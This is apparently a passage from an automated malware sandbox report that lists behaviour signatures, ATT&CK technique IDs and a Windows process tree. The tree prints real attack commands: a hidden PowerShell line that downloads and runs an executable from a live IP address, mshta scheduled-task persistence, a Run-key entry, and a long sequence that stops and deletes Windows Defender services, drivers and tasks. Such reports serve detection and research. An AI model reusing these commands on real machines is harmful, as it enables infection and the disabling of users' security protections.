Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	b9de9b42de.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	b9de9b42de.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
1748	timeout.exe
5924	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
7224	taskkill.exe
6992	taskkill.exe
4608	taskkill.exe
388	taskkill.exe
3532	taskkill.exe

Modifies registry key 1 TTPs 8 IoCs

Modify Registry

T1112

pid	Process
4576	reg.exe
3256	reg.exe
5300	reg.exe
864	reg.exe
4308	reg.exe
3116	reg.exe
9312	reg.exe
9412	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4388	schtasks.exe
448	schtasks.exe
4456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6004	powershell.exe
6004	powershell.exe
4968	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
4968	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
540	rapes.exe
540	rapes.exe
1084	rapes.exe
1084	rapes.exe
5980	cUpXaxB.exe
5980	cUpXaxB.exe
4444	powershell.exe
4444	powershell.exe
4444	powershell.exe
3224	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
3224	TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
1668	powershell.exe
1668	powershell.exe
1668	powershell.exe
880	powershell.exe
880	powershell.exe
880	powershell.exe
4228	powershell.exe
4228	powershell.exe
4228	powershell.exe
2848	powershell.exe
2848	powershell.exe
2848	powershell.exe
4608	483d2fa8a0d53818306efeb32d3.exe
4608	483d2fa8a0d53818306efeb32d3.exe
3336	MSBuild.exe
3336	MSBuild.exe
3336	MSBuild.exe
3336	MSBuild.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
13276	rapes.exe
13276	rapes.exe
680	MSBuild.exe
680	MSBuild.exe
680	MSBuild.exe
680	MSBuild.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
8016	cUpXaxB.exe
8016	cUpXaxB.exe
11440	Organizations.com
11440	Organizations.com
11440	Organizations.com
11440	Organizations.com
11440	Organizations.com
11440	Organizations.com
11840	e231945775.exe
11840	e231945775.exe
11840	e231945775.exe
11840	e231945775.exe
11840	e231945775.exe
11840	e231945775.exe
12408	b9de9b42de.exe
12408	b9de9b42de.exe
12408	b9de9b42de.exe
12408	b9de9b42de.exe
12408	b9de9b42de.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
660	Process not Found
660	Process not Found
4416	tzutil.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5500	y0u3d_003.exe
5500	y0u3d_003.exe
5500	y0u3d_003.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	6004	powershell.exe
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeLoadDriverPrivilege	4416	tzutil.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	10056	tasklist.exe
Token: SeDebugPrivilege	10292	tasklist.exe
Token: SeShutdownPrivilege	12856	chrome.exe
Token: SeCreatePagefilePrivilege	12856	chrome.exe
Token: SeShutdownPrivilege	12856	chrome.exe
Token: SeCreatePagefilePrivilege	12856	chrome.exe
Token: SeDebugPrivilege	6992	taskkill.exe
Token: SeShutdownPrivilege	12856	chrome.exe
Token: SeCreatePagefilePrivilege	12856	chrome.exe

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
6060	599ef6a334.exe
6060	599ef6a334.exe
6060	599ef6a334.exe
11440	Organizations.com
11440	Organizations.com
11440	Organizations.com
7376	3287498fbb.exe
7376	3287498fbb.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
12856	chrome.exe
7376	3287498fbb.exe
7376	3287498fbb.exe

Suspicious use of SendNotifyMessage 13 IoCs

pid	Process
5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
6060	599ef6a334.exe
6060	599ef6a334.exe
6060	599ef6a334.exe
11440	Organizations.com
11440	Organizations.com
11440	Organizations.com
7376	3287498fbb.exe
7376	3287498fbb.exe
7376	3287498fbb.exe
7376	3287498fbb.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5532 wrote to memory of 3400	5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe	86
PID 5532 wrote to memory of 3400	5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe	86
PID 5532 wrote to memory of 3400	5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe	86
PID 5532 wrote to memory of 3536	5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe	87
PID 5532 wrote to memory of 3536	5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe	87
PID 5532 wrote to memory of 3536	5532	0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe	87
PID 3400 wrote to memory of 448	3400	cmd.exe	89
PID 3400 wrote to memory of 448	3400	cmd.exe	89
PID 3400 wrote to memory of 448	3400	cmd.exe	89
PID 3536 wrote to memory of 6004	3536	mshta.exe	92
PID 3536 wrote to memory of 6004	3536	mshta.exe	92
PID 3536 wrote to memory of 6004	3536	mshta.exe	92
PID 6004 wrote to memory of 4968	6004	powershell.exe	98
PID 6004 wrote to memory of 4968	6004	powershell.exe	98
PID 6004 wrote to memory of 4968	6004	powershell.exe	98
PID 4968 wrote to memory of 540	4968	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE	100
PID 4968 wrote to memory of 540	4968	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE	100
PID 4968 wrote to memory of 540	4968	TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE	100
PID 540 wrote to memory of 5980	540	rapes.exe	104
PID 540 wrote to memory of 5980	540	rapes.exe	104
PID 540 wrote to memory of 5980	540	rapes.exe	104
PID 540 wrote to memory of 5188	540	rapes.exe	105
PID 540 wrote to memory of 5188	540	rapes.exe	105
PID 540 wrote to memory of 5188	540	rapes.exe	105
PID 5188 wrote to memory of 5276	5188	apple.exe	106
PID 5188 wrote to memory of 5276	5188	apple.exe	106
PID 5188 wrote to memory of 5276	5188	apple.exe	106
PID 5276 wrote to memory of 3112	5276	11.exe	108
PID 5276 wrote to memory of 3112	5276	11.exe	108
PID 3112 wrote to memory of 4060	3112	cmd.exe	110
PID 3112 wrote to memory of 4060	3112	cmd.exe	110
PID 3112 wrote to memory of 4060	3112	cmd.exe	110
PID 4060 wrote to memory of 3792	4060	11.exe	111
PID 4060 wrote to memory of 3792	4060	11.exe	111
PID 3792 wrote to memory of 4560	3792	cmd.exe	113
PID 3792 wrote to memory of 4560	3792	cmd.exe	113
PID 3792 wrote to memory of 3428	3792	cmd.exe	114
PID 3792 wrote to memory of 3428	3792	cmd.exe	114
PID 3792 wrote to memory of 1748	3792	cmd.exe	115
PID 3792 wrote to memory of 1748	3792	cmd.exe	115
PID 3792 wrote to memory of 2668	3792	cmd.exe	116
PID 3792 wrote to memory of 2668	3792	cmd.exe	116
PID 3792 wrote to memory of 5736	3792	cmd.exe	117
PID 3792 wrote to memory of 5736	3792	cmd.exe	117
PID 3792 wrote to memory of 3212	3792	cmd.exe	118
PID 3792 wrote to memory of 3212	3792	cmd.exe	118
PID 3792 wrote to memory of 1020	3792	cmd.exe	119
PID 3792 wrote to memory of 1020	3792	cmd.exe	119
PID 3792 wrote to memory of 5264	3792	cmd.exe	120
PID 3792 wrote to memory of 5264	3792	cmd.exe	120
PID 3792 wrote to memory of 6060	3792	cmd.exe	121
PID 3792 wrote to memory of 6060	3792	cmd.exe	121
PID 3792 wrote to memory of 3600	3792	cmd.exe	122
PID 3792 wrote to memory of 3600	3792	cmd.exe	122
PID 3792 wrote to memory of 5236	3792	cmd.exe	123
PID 3792 wrote to memory of 5236	3792	cmd.exe	123
PID 3792 wrote to memory of 4008	3792	cmd.exe	124
PID 3792 wrote to memory of 4008	3792	cmd.exe	124
PID 3792 wrote to memory of 4004	3792	cmd.exe	125
PID 3792 wrote to memory of 4004	3792	cmd.exe	125
PID 3792 wrote to memory of 4976	3792	cmd.exe	126
PID 3792 wrote to memory of 4976	3792	cmd.exe	126
PID 3792 wrote to memory of 464	3792	cmd.exe	127
PID 3792 wrote to memory of 464	3792	cmd.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe
"C:\Users\Admin\AppData\Local\Temp\0e4c2d84c6184bb07a420c60fa527fa1fa484a080e92bddd59d3737d47a23af1.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5532
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn Sq4FrmapzSL /tr "mshta C:\Users\Admin\AppData\Local\Temp\cnKjoIYF0.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn Sq4FrmapzSL /tr "mshta C:\Users\Admin\AppData\Local\Temp\cnKjoIYF0.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:448
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\cnKjoIYF0.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6004
  - - C:\Users\Admin\AppData\Local\TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE
      "C:\Users\Admin\AppData\Local\TempYBTBDBLQUQEXWUNYACX30LV6K1Y4B7DZ.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4968
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:540
      - C:\Users\Admin\AppData\Local\Temp\10313630101\cUpXaxB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10313630101\cUpXaxB.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5980
      - C:\Users\Admin\AppData\Local\Temp\10314650101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10314650101\apple.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5188
        
        C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5276
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B73A.tmp\B73B.tmp\B73C.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3112
        
        C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe" go
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4060
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B7A7.tmp\B7A8.tmp\B7A9.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
        10⤵
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:3792
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:4560
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:3428
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:1748
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:2668
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:5736
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3212
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1020
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:5264
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:6060
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:3600
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:5236
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:4008
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:4004
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:4976
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:464
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:3568
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:3676
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:4360
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:4092
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:5336
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:4444
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        Modifies security service
        
        PID:4084
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:1376
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:3308
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:4568
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:4424
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:5872
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:5396
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:112
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:5296
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:680
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:2744
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:4532
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:2200
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:5476
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:2272
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:3520
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:5908
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:2088
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:4088
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:3580
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:2364
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:1776
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:3000
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:1192
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:2624
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:4668
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:4624
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:4908
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:4772
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:2328
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:2296
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:4820
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:4844
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:4732
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:4364
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:5416
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:5368
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:6112
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:3816
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:1556
      - C:\Users\Admin\AppData\Local\Temp\10317340101\Jq0hGDZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10317340101\Jq0hGDZ.exe"
        6⤵
        Executes dropped EXE
        
        PID:5648
        
        C:\Windows\system32\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s
        7⤵
        Modifies registry key
        
        PID:4576
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Windows Service 8670" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\10317340101\Jq0hGDZ.exe\" /f
        7⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3256
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v "Microsoft Windows Service 8670" /t REG_BINARY /d 020000000000000000000000 /f
        7⤵
        Modifies registry key
        
        PID:5300
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification /v "StartupTNotiMicrosoft Windows Service 8670" /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:864
      - C:\Users\Admin\AppData\Local\Temp\10317930101\599ef6a334.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10317930101\599ef6a334.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:6060
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn wNngFmaDeGS /tr "mshta C:\Users\Admin\AppData\Local\Temp\HXSLhLDY0.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5512
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn wNngFmaDeGS /tr "mshta C:\Users\Admin\AppData\Local\Temp\HXSLhLDY0.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4456
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\HXSLhLDY0.hta
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4444
        
        C:\Users\Admin\AppData\Local\TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE
        
        "C:\Users\Admin\AppData\Local\TempYK3KELF5OTCMAYOAQJJD7C5BNKXBREBK.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3224
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10317940121\am_no.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2236
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:5924
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4836
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1668
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:880
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4228
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "3K7dfmaibD1" /tr "mshta \"C:\Temp\aP3UDR7l6.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4388
        
